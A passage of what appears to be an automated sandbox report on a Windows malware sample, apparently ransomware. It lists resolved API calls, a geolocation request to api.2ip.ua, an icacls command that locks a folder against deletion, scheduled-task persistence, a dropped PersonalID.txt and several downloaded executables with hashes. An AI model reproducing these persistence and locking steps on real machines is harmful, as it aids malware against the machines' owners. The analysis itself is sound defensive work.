Get Address c:\windows\syswow64\kernel32.dll function = FatalAppExitA, address_out = 0x76cb4691 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateToolhelp32Snapshot, address_out = 0x76c5735f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseHandle, address_out = 0x76c31410 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileW, address_out = 0x76c389b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LocalFree, address_out = 0x76c32d3c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyW, address_out = 0x76c53102 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteFileA, address_out = 0x76c35444 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = lstrcpyA, address_out = 0x76c52a9d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetPriorityClass, address_out = 0x76c4cf28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleW, address_out = 0x76c334b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetComputerNameW, address_out = 0x76c3dd0e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetExitCodeProcess, address_out = 0x76c4174d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleFileNameW, address_out = 0x76c34950 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GlobalFree, address_out = 0x76c35558 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetVersion, address_out = 0x76c34467 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateDirectoryA, address_out = 0x76c5d526 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThread, address_out = 0x76c334d5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsSetValue, address_out = 0x76c314fb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsGetValue, address_out = 0x76c311e0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = TlsAlloc, address_out = 0x76c349ad True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionAndSpinCount, address_out = 0x76c31916 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetUnhandledExceptionFilter, address_out = 0x76c387c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = UnhandledExceptionFilter, address_out = 0x76c5772f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeEnvironmentStringsW, address_out = 0x76c351cb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetEnvironmentStringsW, address_out = 0x76c351e3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessId, address_out = 0x76c311f8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = QueryPerformanceCounter, address_out = 0x76c31725 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStartupInfoW, address_out = 0x76c34d40 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DeleteCriticalSection, address_out = 0x771645f5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeZoneInformation, address_out = 0x76c3465a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RaiseException, address_out = 0x76c358a6 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStringTypeW, address_out = 0x76c31946 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapSize, address_out = 0x77163002 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LoadLibraryExW, address_out = 0x76c3495d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapAlloc, address_out = 0x7715e026 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoW, address_out = 0x76c33c42 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocale, address_out = 0x76c4ce46 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLCID, address_out = 0x76c33da5 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesW, address_out = 0x76cb425f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatW, address_out = 0x76c534d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatW, address_out = 0x76c4f481 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringW, address_out = 0x76c33bca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringW, address_out = 0x76c317b9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleCP, address_out = 0x76cd7bff True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetConsoleMode, address_out = 0x76c31328 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapReAlloc, address_out = 0x77171f6e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetStdHandle, address_out = 0x76cb454f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEndOfFile, address_out = 0x76c4ce2e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetStdHandle, address_out = 0x76c351b3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileType, address_out = 0x76c33531 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleHandleExW, address_out = 0x76c34a6f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WriteConsoleW, address_out = 0x76c57aca True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = ReadConsoleW, address_out = 0x76cd739a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = OutputDebugStringW, address_out = 0x76c5d1d4 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetConsoleCtrlHandler, address_out = 0x76c38a09 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = RtlUnwind, address_out = 0x76c5d1c3 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LeaveCriticalSection, address_out = 0x77152270 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnterCriticalSection, address_out = 0x771522b0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = AreFileApisANSI, address_out = 0x76cb40d1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetProcessHeap, address_out = 0x76c314e9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThreadId, address_out = 0x76c31450 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentThread, address_out = 0x76c317ec True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCPInfo, address_out = 0x76c35189 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = HeapFree, address_out = 0x76c314c9 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetEnvironmentVariableA, address_out = 0x76c3e331 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EncodePointer, address_out = 0x77170fcb True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = DecodePointer, address_out = 0x77169d35 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetSystemTimeAsFileTime, address_out = 0x76c33509 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcess, address_out = 0x76c31809 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreW, address_out = 0x76c4ca5a True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetOEMCP, address_out = 0x76c5d1a1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetACP, address_out = 0x76c3179c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidCodePage, address_out = 0x76c34493 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsProcessorFeaturePresent, address_out = 0x76c35235 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FindNextFileW, address_out = 0x76c354ee True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsDebuggerPresent, address_out = 0x76c34a5d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = LoadCursorW, address_out = 0x74f588f7 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = TranslateMessage, address_out = 0x74f57809 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = RegisterClassExW, address_out = 0x74f5b17d True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = ShowWindow, address_out = 0x74f60dfb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = IsWindow, address_out = 0x74f57136 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = CreateWindowExW, address_out = 0x74f58a29 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = UpdateWindow, address_out = 0x74f63559 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DefWindowProcW, address_out = 0x771625dd True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PeekMessageW, address_out = 0x74f605ba True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostThreadMessageW, address_out = 0x74f58bff True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = MessageBoxW, address_out = 0x74fafd3f True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DispatchMessageW, address_out = 0x74f5787b True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = PostQuitMessage, address_out = 0x74f59abb True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = DestroyWindow, address_out = 0x74f59a55 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = SendMessageW, address_out = 0x74f59679 True 1
Fn
Get Address c:\windows\syswow64\user32.dll function = GetMessageW, address_out = 0x74f578e2 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptGetHashParam, address_out = 0x74d4df7e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptAcquireContextW, address_out = 0x74d4df14 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenSCManagerW, address_out = 0x74d4ca64 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = OpenServiceW, address_out = 0x74d4ca4c True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptReleaseContext, address_out = 0x74d4e124 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = GetUserNameW, address_out = 0x74d5157a True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptHashData, address_out = 0x74d4df36 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegSetValueExW, address_out = 0x74d514d6 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegCloseKey, address_out = 0x74d5469d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptDestroyHash, address_out = 0x74d4df66 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = ControlService, address_out = 0x74d67144 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegOpenKeyExW, address_out = 0x74d5468d True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptCreateHash, address_out = 0x74d4df4e True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptEncrypt, address_out = 0x74d6779b True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CryptImportKey, address_out = 0x74d4c532 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = QueryServiceStatus, address_out = 0x74d52a86 True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = RegQueryValueExW, address_out = 0x74d546ad True 1
Fn
Get Address c:\windows\syswow64\advapi32.dll function = CloseServiceHandle, address_out = 0x74d5369c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetPathFromIDListW, address_out = 0x760617bf True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetSpecialFolderLocation, address_out = 0x7605e141 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = CommandLineToArgvW, address_out = 0x75fe9ee8 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteA, address_out = 0x76217078 True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = ShellExecuteExW, address_out = 0x75ff1e46 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitialize, address_out = 0x755fb636 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoInitializeSecurity, address_out = 0x75607259 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoUninitialize, address_out = 0x756286d3 True 1
Fn
Get Address c:\windows\syswow64\ole32.dll function = CoCreateInstance, address_out = 0x75629d0b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 202, address_out = 0x7522fd6b True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 2, address_out = 0x75224642 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 9, address_out = 0x75223eae True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 8, address_out = 0x75223ed5 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 6, address_out = 0x75223e59 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 200, address_out = 0x75223f21 True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 12, address_out = 0x75225dee True 1
Fn
Get Address c:\windows\syswow64\oleaut32.dll function = 201, address_out = 0x75224af8 True 1
Fn
Get Address c:\windows\syswow64\iphlpapi.dll function = GetAdaptersInfo, address_out = 0x74af9263 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 12, address_out = 0x75bcb131 True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 11, address_out = 0x75bc311b True 1
Fn
Get Address c:\windows\syswow64\ws2_32.dll function = 52, address_out = 0x75bd7673 True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsQuery_W, address_out = 0x74aa572c True 1
Fn
Get Address c:\windows\syswow64\dnsapi.dll function = DnsFree, address_out = 0x74a9436b True 1
Fn
Get Address c:\windows\syswow64\crypt32.dll function = CryptStringToBinaryA, address_out = 0x759e5d77 True 1
Fn
Get Address c:\windows\syswow64\msvcr100.dll function = atexit, address_out = 0x749ec544 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = InitializeCriticalSectionEx, address_out = 0x76c34d28 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateEventExW, address_out = 0x76cb410b True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSemaphoreExW, address_out = 0x76cb4195 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadStackGuarantee, address_out = 0x76c3d31f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolTimer, address_out = 0x76c4ee7e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolTimer, address_out = 0x7717441c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = WaitForThreadpoolTimerCallbacks, address_out = 0x7719c50e True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolTimer, address_out = 0x7719c381 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateThreadpoolWait, address_out = 0x76c4f088 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetThreadpoolWait, address_out = 0x771805d7 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CloseThreadpoolWait, address_out = 0x7719ca24 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FlushProcessWriteBuffers, address_out = 0x77150b8c True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = FreeLibraryWhenCallbackReturns, address_out = 0x7720fde8 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentProcessorNumber, address_out = 0x771a1e1d True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLogicalProcessorInformation, address_out = 0x76cb4761 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CreateSymbolicLinkW, address_out = 0x76cacd11 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetDefaultDllDirectories, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumSystemLocalesEx, address_out = 0x76cb424f True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = CompareStringEx, address_out = 0x76cb46b1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetDateFormatEx, address_out = 0x76cc6676 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetLocaleInfoEx, address_out = 0x76cb4751 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTimeFormatEx, address_out = 0x76cc65f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetUserDefaultLocaleName, address_out = 0x76cb47c1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = IsValidLocaleName, address_out = 0x76cb47e1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = LCMapStringEx, address_out = 0x76cb47f1 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetCurrentPackageId, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetTickCount64, address_out = 0x76c4eee0 True 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetFileInformationByHandleExW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = SetFileInformationByHandleW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcesses, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = EnumProcessModules, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\kernel32.dll function = GetModuleBaseNameW, address_out = 0x0 False 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcesses, address_out = 0x75141544 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = EnumProcessModules, address_out = 0x75141408 True 1
Fn
Get Address c:\windows\syswow64\psapi.dll function = GetModuleBaseNameW, address_out = 0x7514152c True 1
Fn
Get Address c:\windows\syswow64\shell32.dll function = SHGetFolderPathW, address_out = 0x76055708 True 1
Fn
System (257)
»
Operation Additional Information Success Count Logfile
Get Time type = System Time, time = 2019-07-13 15:57:12 (UTC) True 2
Fn
Get Time type = Ticks, time = 98327 True 1
Fn
Get Time type = Performance Ctr, time = 14733624403 True 1
Fn
Get Time type = Ticks, time = 98389 True 237
Fn
Get Time type = Ticks, time = 98405 True 12
Fn
Get Time type = Performance Ctr, time = 15270473690 True 1
Fn
Get Time type = System Time, time = 2019-07-13 15:57:18 (UTC) True 1
Fn
Get Info type = Operating System True 1
Fn
Get Info type = Operating System True 1
Fn
Environment (2)
»
Operation Additional Information Success Count Logfile
Get Environment String - True 2
Fn
Data
Network Behavior
HTTP Sessions (1)
»
Information Value
Total Data Sent 467 bytes
Total Data Received 7.12 KB
Contacted Host Count 1
Contacted Hosts 77.123.139.189
HTTP Session #1
»
Information Value
Server Name api.2ip.ua
Server Port 443
Username -
Password -
Data Sent 467 bytes
Data Received 7.12 KB
Operation Additional Information Success Count Logfile
Open Session user_agent = Microsoft Internet Explorer, access_type = INTERNET_OPEN_TYPE_PRECONFIG True 1
Fn
Open Connection protocol = https, server_name = api.2ip.ua, server_port = 443 True 1
Fn
Open HTTP Request http_verb = GET, http_version = HTTP 1.1, target_resource = /geo.json True 1
Fn
Send HTTP Request headers = WINHTTP_NO_ADDITIONAL_HEADERS, url = https://api.2ip.ua/geo.json True 1
Fn
Read Response size = 10240, size_out = 465 True 1
Fn
Data
Close Session - True 1
Fn
Process #3: icacls.exe
0 0
»
Information Value
ID #3
File Name c:\windows\syswow64\icacls.exe
Command Line icacls "C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\6b294fe4-e3b3-4741-b743-c8423c8d7aef" /deny *S-1-1-0:(OI)(CI)(DE,DC)
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:41, Reason: Child Process
Unmonitor End Time: 00:00:42, Reason: Self Terminated
Monitor Duration 00:00:01
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0xa98
Parent PID 0x9d0 (c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A9C
0x AA0
Process #4: taskeng.exe
0 0
»
Information Value
ID #4
File Name c:\windows\system32\taskeng.exe
Command Line taskeng.exe {0E3013FB-5D32-4499-A940-035C87CD1A3B} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]
Initial Working Directory C:\Windows\system32\
Monitor Start Time: 00:00:41, Reason: Created Scheduled Job
Unmonitor End Time: 00:01:05, Reason: Self Terminated
Monitor Duration 00:00:23
Remark No high level activity detected in monitored regions
OS Process Information
»
Information Value
PID 0x50c
Parent PID 0x36c (c:\windows\system32\svchost.exe)
Bitness 64-bit
Is Created or Modified Executable False
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x A90
0x 8E0
0x 578
0x 574
0x 520
0x 514
0x 510
Process #5: cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
901 11
»
Information Value
ID #5
File Name c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe
Command Line "C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\CUsersHPAppDataLocal03562a36-8263-4270-b004-3b05eb1758e3E285.tmp.exe" --Admin IsNotAutoStart IsNotTask
Initial Working Directory C:\Users\5p5NrGJn0jS HALPmcxz\Desktop\
Monitor Start Time: 00:00:42, Reason: Child Process
Unmonitor End Time: 00:01:04, Reason: Self Terminated
Monitor Duration 00:00:22
OS Process Information
»
Information Value
PID 0xaa8
Parent PID 0x9d0 (c:\users\5p5nrgjn0js halpmcxz\desktop\cusershpappdatalocal03562a36-8263-4270-b004-3b05eb1758e3e285.tmp.exe)
Bitness 32-bit
Is Created or Modified Executable True
Integrity Level High (Elevated)
Username XDUWTFONO\5p5NrGJn0jS HALPmcxz
Enabled Privileges SeChangeNotifyPrivilege, SeImpersonatePrivilege, SeCreateGlobalPrivilege
Thread IDs
0x AAC
0x AB4
0x AB8
0x ABC
0x AC0
0x AC4
0x AC8
0x ACC
0x AD0
0x AF4
0x AF8
0x AFC
0x B00
0x B0C
Dropped Files
»
Filename File Size Hash Values YARA Match Actions
C:\SystemID\PersonalID.txt 42 bytes MD5: c53ee94cb811b6a347794bac651273a1
SHA1: c0bea42373f7a81539ef0d49e9372e6cee3fd03e
SHA256: 7895f9f78b1579839ca1527969c028696a9254b799e05df0831129684a9b8814
SSDeep: 3:fSKeDA1Xju0QjlTXy:Yc1X60Qjlby 		False
...
Downloaded Files
»
Filename File Size Hash Values YARA Match Actions
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe 272.50 KB MD5: 5b4bd24d6240f467bfbc74803c9f15b0
SHA1: c17f98c182d299845c54069872e8137645768a1a
SHA256: 14c7bec7369d4175c6d92554b033862b3847ff98a04dfebdf9f5bb30180ed13e
SSDeep: 6144:7qZQGv0d4dW6efSyahstfKVkW5XXnXXfXXXWXXXXHXXXXBXXXXgXXXXX5XXXXiXk:2ZQGXdPe6qU6W5XXnXXfXXXWXXXXHXXE 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe 274.50 KB MD5: 996ba35165bb62473d2a6743a5200d45
SHA1: 52169b0b5cce95c6905873b8d12a759c234bd2e0
SHA256: 5caffdc76a562e098c471feaede5693f9ead92d5c6c10fb3951dd1fa6c12d21d
SSDeep: 6144:vLgbC0mVQlY+3aKn7n4CTHcXXnXXfXXXWXXXXHXXXXBXXXXgXXXXX5XXXXiXXXXP:vGCtQlb3aKzvT8XXnXXfXXXWXXXXHXXf 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe 277.50 KB MD5: e3083483121cd288264f8c5624fb2cd1
SHA1: 144a1dd6714ff4b5675c32f428d1899e500140a5
SHA256: 114ccacb7ca57c01f3540611fdf49e68416544da8d8077f5896434a4b71b01dd
SSDeep: 6144:JMLLGApbfLsx8TsvD6OD61XXnXXfXXXWXXXXHXXXXBXXXXgXXXXX5XXXXiXXXX56:JMLdpMdhDyXXnXXfXXXWXXXXHXXXXBXK 		False
...
C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe 406.50 KB MD5: 3b8bc9110753815fdcbdb6aecb0f92fa
SHA1: 2f3bbf9dbc0957a6fc23bd81c031de78a2fd4940
SHA256: e23f2e452ca27e821ed6ce386e1e7d5996be52edc1ce678e80ff2aad0edfb30e
SSDeep: 6144:KsXr5zq+Jdx2I5uwQuOL7Yr3VIp5IM0deqjoJG01jSi:KsXIwyI4wQu67M3VIpyMieq2G0dS 		False
...
c:\users\5p5nrgjn0js halpmcxz\appdata\local\microsoft\windows\temporary internet files\content.ie5\x9ohk109\get[1].php 103 bytes MD5: 78362b918f2e907496e2e01d461e17aa
SHA1: 5944895e5f27d59db6eb9178beb57e42eb1a1ddf
SHA256: 90085b211c8594f63589aad842fb54c365ad2a8bab94fd2d80747c526fd66e4c
SSDeep: 3:YJMLAAkzICCdW2o2L2SrRhR+pKAPjwFKeDA1Xju0QjlTX4n:YITCCdW2o2trRhR+oAMdc1X60Qjlb4 		False
...
Host Behavior
COM (8)
»
Operation Class Interface Additional Information Success Count Logfile
Create TaskScheduler ITaskService cls_context = CLSCTX_INPROC_SERVER True 1
Fn
Execute TaskScheduler ITaskService method_name = Connect, server_name = 151, domain = 151, password = 4289035 True 1
Fn
Execute TaskScheduler ITaskService method_name = GetFolder, path = \, new_interface = ITaskFolder True 1
Fn
Execute TaskScheduler ITaskService method_name = NewTask, new_interface = ITaskDefinition True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Triggers, new_interface = ITriggerCollection True 1
Fn
Execute TaskScheduler ITriggerCollection method_name = Create, type = TASK_TRIGGER_TIME, new_interface = IDailyTrigger True 1
Fn
Execute TaskScheduler IDailyTrigger method_name = put_StartBoundary, start_boundary = 2019-07-14T01:57:53 True 1
Fn
Execute TaskScheduler ITaskDefinition method_name = get_Actions, new_interface = IActionCollection True 1
Fn
File (140)
»
Operation Filename Additional Information Success Count Logfile
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\SystemID\PersonalID.txt desired_access = GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE False 1
Fn
Create C:\SystemID\PersonalID.txt desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ, FILE_SHARE_WRITE True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\5.exe desired_access = GENERIC_WRITE, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ True 1
Fn
Create Directory C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40 - True 1
Fn
Create Directory C:\SystemID - True 1
Fn
Get Info C:\SystemID\PersonalID.txt type = file_type True 1
Fn
Open STD_INPUT_HANDLE - True 2
Fn
Open STD_OUTPUT_HANDLE - True 2
Fn
Open STD_ERROR_HANDLE - True 2
Fn
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe size = 10240 True 27
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin1.exe size = 2560 True 1
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe size = 10240 True 27
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin2.exe size = 4608 True 1
Fn
Data
Write C:\Users\5p5NrGJn0jS HALPmcxz\AppData\Local\14eec914-0e8f-4440-8677-a8df15bdfc40\updatewin.exe size = 10240 True 27
Fn
Data
